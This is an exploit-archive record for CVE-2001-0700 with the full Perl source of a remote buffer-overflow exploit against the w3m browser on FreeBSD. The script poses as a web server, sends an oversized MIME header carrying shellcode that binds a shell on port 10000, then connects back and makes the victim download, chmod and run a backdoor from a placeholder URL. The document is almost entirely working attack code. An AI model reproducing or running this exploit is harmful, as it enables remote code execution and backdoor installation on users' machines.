{"exploit":{"id":"EDB-20941","name":"W3M 0.1/0.2 - Malformed MIME Header Buffer Overflow","description":"W3M 0.1/0.2 - Malformed MIME Header Buffer Overflow","cves":["CVE-2001-0700"],"author":"White_E","published":"2001-06-19","platform":"freebsd","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20941","path":"exploits/freebsd/remote/20941.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20941.pl","vulnerabilities":[{"id":"CVE-2001-0700","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in w3m 0.2.1 and earlier allows a remote attacker to execute arbitrary code via a long base64 encoded MIME header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0700","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0700"},"updatedAt":"2024-08-08T04:30:06.080Z","retrievedAt":"2026-11-26T23:09:14.086Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20941.png?v=2","url":"https://exploitbin.com/exploits/EDB-20941","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20941/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20941/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2895/info\n\n# W3M is a pager/text-based WWW browser similiar to lynx.\n\n# A buffer overflow vulnerability exists in the 'w3m' client program. The overflow occurs when a base64-encoded string exceeding approximately 32 characters in length is received in a MIME header field. As a result, it may be possible for a malicious remote server to execute arbitrary code on a user's system.\n\n\n# ---- exp_w3m.pl\n# w3m remote buffer overflow exploit for FreeBSD.\n# this fake httpd gives exploit code to visitor's w3m, then\n# connects to victim's port 10000, downloads backdoor from\n# $backdoor, and executes it.\n# see also:\n# ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:46.w3m.asc\n#\n# \t\t\t\t\tWhite_E <white_e@bigfoot.com>\n# \t\t\t\t\thttp://ttj.virtualave.net/\n\n$backdoor='http://www.../any.backdoor.prog.you.want';\n$ret = 0xbfbffa2c;\n$ret -= $ARGV[0];\n$retb = pack(\"V\",$ret); # little endian\n\n$shellcode= # http://www.hack.co.za/download.php?sid=1444\n            # portbind shell on 10000 by bighawk\n\"\\x31\\xc9\\xf7\\xe1\\x51\\x41\\x51\\x41\\x51\\x51\\xb0\\x61\\xcd\\x80\\x89\".\n\"\\xc3\\x52\\x66\\x68\\x27\\x10\\x66\\x51\\x89\\xe6\\xb1\\x10\\x51\\x56\\x50\".\n\"\\x50\\xb0\\x68\\xcd\\x80\\x51\\x53\\x53\\xb0\\x6a\\xcd\\x80\\x52\\x52\\x53\".\n\"\\x53\\xb0\\x1e\\xcd\\x80\\xb1\\x03\\x89\\xc3\\xb0\\x5a\\x49\\x51\\x53\\x53\".\n\"\\xcd\\x80\\x41\\xe2\\xf5\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\".\n\"\\x6e\\x89\\xe3\\x51\\x54\\x53\\x53\\xb0\\x3b\\xcd\\x80\"; # 86 bytes\n\nuse Socket;\n$port=80;\n$|=1;\nsocket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));\nselect(S);$|=1;select(STDOUT);\nsetsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);\n$paddr=sockaddr_in($port,INADDR_ANY);\nbind(S,$paddr) || die \"ERR: bind()\\n\";\nlisten(S,SOMAXCONN) || die \"ERR: listen()\\n\";\nprint \"listen on $port.\\n\";\n$str  = \"A\" x 36;\n$str .= $retb;\n$str .= \"\\x90\" x 128;\n$str .= $shellcode;\n\nwhile (1) {\n  $victim=accept(VIC,S);\n  $vaddr=(sockaddr_in($victim))[1];\n  select(VIC);$|=1;select(STDOUT);\n  $in=<VIC>;\n  $in=<VIC>;\n  print VIC \"HTTP/1.0 200 OK\\r\\n\";\n  print VIC \"MIME-Version: 1.0\\r\\n\";\n  print VIC \"Content-Type: multipart/mixed; boundary=\\\"__=?$str\\r\\n\";\n  print VIC \"\\r\\n\";\n  sleep(1);\n  socket(BD,PF_INET,SOCK_STREAM,getprotobyname('tcp'));\n  $paddr=sockaddr_in('10000',$vaddr) || die \"ERR: sockaddr_in\\n\";\n  connect(BD,$paddr) || die \"ERR: connect()\\n\";\n  select(BD);$|=1;select(STDOUT);\n  print BD \"/usr/local/bin/w3m -dump_source $backdoor > /tmp/hoge \\; /bin/chmod +x /tmp/hoge \\;\n/tmp/hoge & \\n\";\n  print \"backdoor has been set.\\n\";\n  close(BD);\n}","sha256":"5bff6b01b64706c69b4dacd4e9f5eb1726b73b719055a14e068b14e57e57f363","bytes":2530,"fetchedAt":"2026-11-26T23:09:08.649Z","encoding":"utf-8 (display only; download retains original bytes)"}